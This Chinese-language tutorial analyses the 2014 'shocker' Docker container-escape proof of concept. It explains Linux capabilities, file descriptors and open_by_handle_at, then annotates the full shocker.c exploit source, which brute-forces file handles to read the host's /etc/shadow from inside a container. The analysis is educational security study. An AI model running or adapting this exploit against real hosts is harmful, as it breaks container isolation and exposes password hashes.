0. 前言
本文参考自《Docker 容器与容器云》
这个容器逃逸的 case 存在于 Docker 1.0 之前的绝大多数版本。
目前使用 Docker 1.0 之前版本的环境几乎不存在了,这篇分析的主要目的是为了加深系统安全方面的学习。
本案例所分析的 PoC 源码地址:shocker.c
1. 预备知识
1.1 Linux Capability
尝试用较为简单的话来说明 Linux 中 Capability
的概念。
为了解决在某些场景下,普通用户需要部分 root
权限来完成工作的问题。Linux 支持将部分 root
的特权操作权限细分成具体的 Capability
,如果将某个 Capability
分配给某一个可执行文件或者是进程,即使不是 root
用户,也可以执行该 Capability
对应的特权操作。
1.2 Unix 系统文件操作原理
1.2.1 proc
与 user
结构体
以 UNIX V6 为基础进行说明,目前主流的 Linux 版本文件系统的实现原理与 UNIX V6 差别不大。
Unix 系统中与某一个进程密切相关的有两个结构体,它们是 proc
结构体和 user
结构体。
proc
结构体中保存了进程状态、执行优先级等经常需要被内核访问的信息,因此由 proc
结构体构成的数据 proc[]
是常驻内存的。
/*
* Filename: proc.h
*/
struct proc {
// 进程当前状态
char p_stat;
// 标识变量
char p_flag;
// 执行优先级
char p_pri;
// 接收到的信号
char p_sig;
// UID
char p_uid;
// 在内存或交换空间中存在的时间,单位秒
char p_time;
// 占用 CPU 的累积时间,单位时钟 tick 数
char p_cpu;
// 用于修正执行优先级的补正系数,默认 0
char p_nice;
// 正在操作进程的终端
int p_ttyp;
// PID
int p_pid;
// 父进程 PID
int p_ppid;
// 数据段的物理地址
int p_addr;
// 数据段长度
int p_size;
// 进程进入休眠的原因
int p_wchan;
// 使用的代码段
int *p_textp;
}
user
结构体中保存了进程打开的文件等信息,由于内核只需要使用当前执行进程的 user
结构体,所以当某一个进程被移至交换空间时, user
结构体也相应地会被移出内存。
proc
结构体中的 p_addr
指向的数据段,其起始部分的内容即为 user
结构体。
由于 user
结构体内容较多就不列出了,其中一个与文件描述符相关的属性是 u_ofile[]
,会在后面提到。
1.2.2 文件描述符
文件描述符是内核为了管理已被打开的文件所创建的索引,是一个非负的整数。
文件描述符保存在进程对应 user
结构体的 u_ofile[]
字段中。
通过文件描述符对文件进行操作涉及到三个关键的数据结构,原理如下图所示:
说明1:
当一个进程启动时,文件描述符 0
表示 stdin
,1
表示 stdout
,2
表示 stderr
,若进程再打开其它文件,那么这个文件的文件描述符会是 3
,依次递增。
说明2:
当两个进程打开了同一个文件时(即为图中所示情况),对应到 file[]
中是两个不同的 file
结构体,因此各自拥有独立的文件偏移量,不过指向的是同一个 inode
节点,所以修改的是同一个文件。
说明3:
存在以下几种情况(未必是所有情况,也许存在没有列出的其它情况)会导致两个进程的文件描述符指向同一个 file
结构:
- 父进程 fork 出了子进程。此时父进程与子进程各自的每一个打开文件描述符共享同一个
file
结构 - 使用
dup
或是dup2
函数来复制现有的文件描述符
我们知道 Docker 容器的 Namespace 隔离是 Docker Daemon 进程通过调用 clone()
函数,并控制 clone
函数中的 Flag 参数来实现的。我们查阅文档可以发现这一句描述
If CLONE_FILES is set, the calling process and the child process share the same file descriptor table.
说明 Docker Daemon 进程与容器进程共享了文件描述符。
1.3 open_by_handle_at
函数
函数原型:
int open_by_handle_at(int mount_fd, struct file_handle *handle, int flags);
函数功能:
引自 Linux 手册
The open_by_handle_at() system call opens the file referred to by handle.
The mount_fd argument is a file descriptor for any object (file, directory, etc.) in the mounted filesystem with respect to which handle should be interpreted.
The caller must have the CAP_DAC_READ_SEARCH capability to invoke open_by_handle_at().
译:
open_by_handle_at() 用于打开
file_handle
结构体指针所描述的某一个文件mount_fd 参数为
file_handle
结构体指针所描述文件所在的文件系统中,任何一个文件或者是目录的文件描述符
Linux 手册中特别提到调用 open_by_handle_at
函数需要具备 CAP_DAC_READ_SEARCH
能力
Docker 1.0 版本对 Capability
使用黑名单管理策略,并且没有限制 CAP_DAC_READ_SEARCH
能力,因而造成了这个容器逃逸 case
file_handle
结构体说明:
struct file_handle {
unsigned int handle_bytes; // Size of f_handle
int handle_type; // Handle type
unsigned char f_handle[0]; // File identifier
}
前面两个字段都好理解,关键是 f_handle[0]
字段,它一般都会是一个 8 字节的字符串,并且前 4 个字节为该文件的 inodenumber
另外 CVE-2014-3519 这个漏洞也与 open_by_handle_at()
函数相关,有时间我再去研究一下那个 case
3. "shocker.c" Line-by-Line Explanation
分析 shocker.c
所需要的储备知识已经介绍完了。
我在代码中用中文给出了比较详细的说明,下面来看下这段容器逃逸 PoC 代码。
/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
*
* Demonstrates that any given docker image someone is asking
* you to run in your docker setup can access ANY file on your host,
* e.g. dumping hosts /etc/shadow or other sensitive info, compromising
* security of the host and any other docker VM's on it.
*
* docker using container based VMM: Sebarate pid and net namespace,
* stripped caps and RO bind mounts into container's /. However
* as its only a bind-mount the fs struct from the task is shared
* with the host which allows to open files by file handles
* (open_by_handle_at()). As we thankfully have dac_override and
* dac_read_search we can do this. The handle is usually a 64bit
* string with 32bit inodenumber inside (tested with ext4).
* Inode of / is always 2, so we have a starting point to walk
* the FS path and brute force the remaining 32bit until we find the
* desired file (It's probably easier, depending on the fhandle export
* function used for the FS in question: it could be a parent inode# or
* the inode generation which can be obtained via an ioctl).
* [In practise the remaining 32bit are all 0 :]
*
* tested with docker 0.11 busybox demo image on a 3.11 kernel:
*
* docker run -i busybox sh
*
* seems to run any program inside VMM with UID 0 (some caps stripped); if
* user argument is given, the provided docker image still
* could contain +s binaries, just as demo busybox image does.
*
* PS: You should also seccomp kexec() syscall :)
* PPS: Might affect other container based compartments too
*
* $ cc -Wall -std=c99 -O2 shocker.c -static
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
/**
* 攻击者构造的 file_handle 结构体
*/
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
/**
* die 函数用于输出错误信息到 stderr,并以错误码结束程序,并不重要
*/
void die(const char *msg) {
perror(msg);
exit(errno);
}
/**
* 用于输出一个 file_handle 结构体,并不重要
*/
void dump_handle(const struct my_file_handle *h) {
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
/**
* 关键函数,用于爆破寻找指定文件的 file_handle 结构体
* param fbd:'/.dockerinit' 文件描述符,与 '/etc/shadow' 在同一个文件系统中(已在 1.2.2 中说明)
* param *path:爆破目标(本 case 中为 '/etc/shadow' 文件)
* param *ih:爆破起始路径(本 case 中为 '/' 路径)的 file_handle 结构体
* param *oh:返回参数,用于返回 '/etc/shadow' 的 file_handle 结构体
*/
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) {
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
// 拿到 '/' 在 path 中首次出现的位置,返回的是该位置的地址。
path = strchr(path, '/');
/**
* 递归寻找 '/etc/shadow' 的 file_handle 结构体
*/
if (!path) {
// 递归的结束条件为,已经把 path 中的所有 '/' (即路径)处理完成
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
// 跳过本次 '/' 字符在 path 中的地址
// 用 python 描述就是 path = path[index_of_/:]
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
// 第一次递归中,dir 变量被赋值为 '/' 路径
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
// 第一次递归中,为寻找 '/' 路径下,'/etc' 的 inodenumber,并将它复制给 ino
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
// 由于已经拿到 '/etc' 的 inodenumber,故可以暴力破解出 '/etc' 的 file_handle 结构体
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
// 爆破 '/etc' 的 file_handle 结构体并赋值给 outh
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*](%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
// 继续递归查找 '/etc/shadow' 文件
// 注意此时 path 已经为 'etc/shadow',而新的递归起点为 '/etc'
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main() {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
// '/' 路径的 file_handle 结构体,`/` 的 inodenumber 一般为 2
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
/**
* 需要重点说明 /.dockerinit 文件
*
* 在老版本的 Docker 中,容器通过 `lxc-start` 启动,`.dockerinit` 是宿主机上执行 `lxc-start` 命令启动容器时,所指定的配置文件,会在启动容器时被挂载到容器内部。
*
* 但在当前主流 Docker 版本中,已经将这部分功能移除了,虽然仍然有 `.dockerinit` 文件,不过文件已为空(并且也不是 `proc` 那种存在于内存中的 VFS 对象,真的就是空文件......)
*
* PoC 只是利用这个 `.dockerinit` 文件作为容器内部与宿主机之间的一个桥梁
*/
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
die("[-] open");
// 调用 find_handle 来爆破寻找目标文件的 file_handle 结构体,从而打开该文件
// h 为返回参数,即 "/etc/shadow" 爆破结果
if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
// 输出 "/etc/shadow" 的 file_handle 结构体
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
/**
* 根据上面拿到的 h,打开 "/etc/shadow" 文件并输出
*/
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
close(fd2); close(fd1);
return 0;
}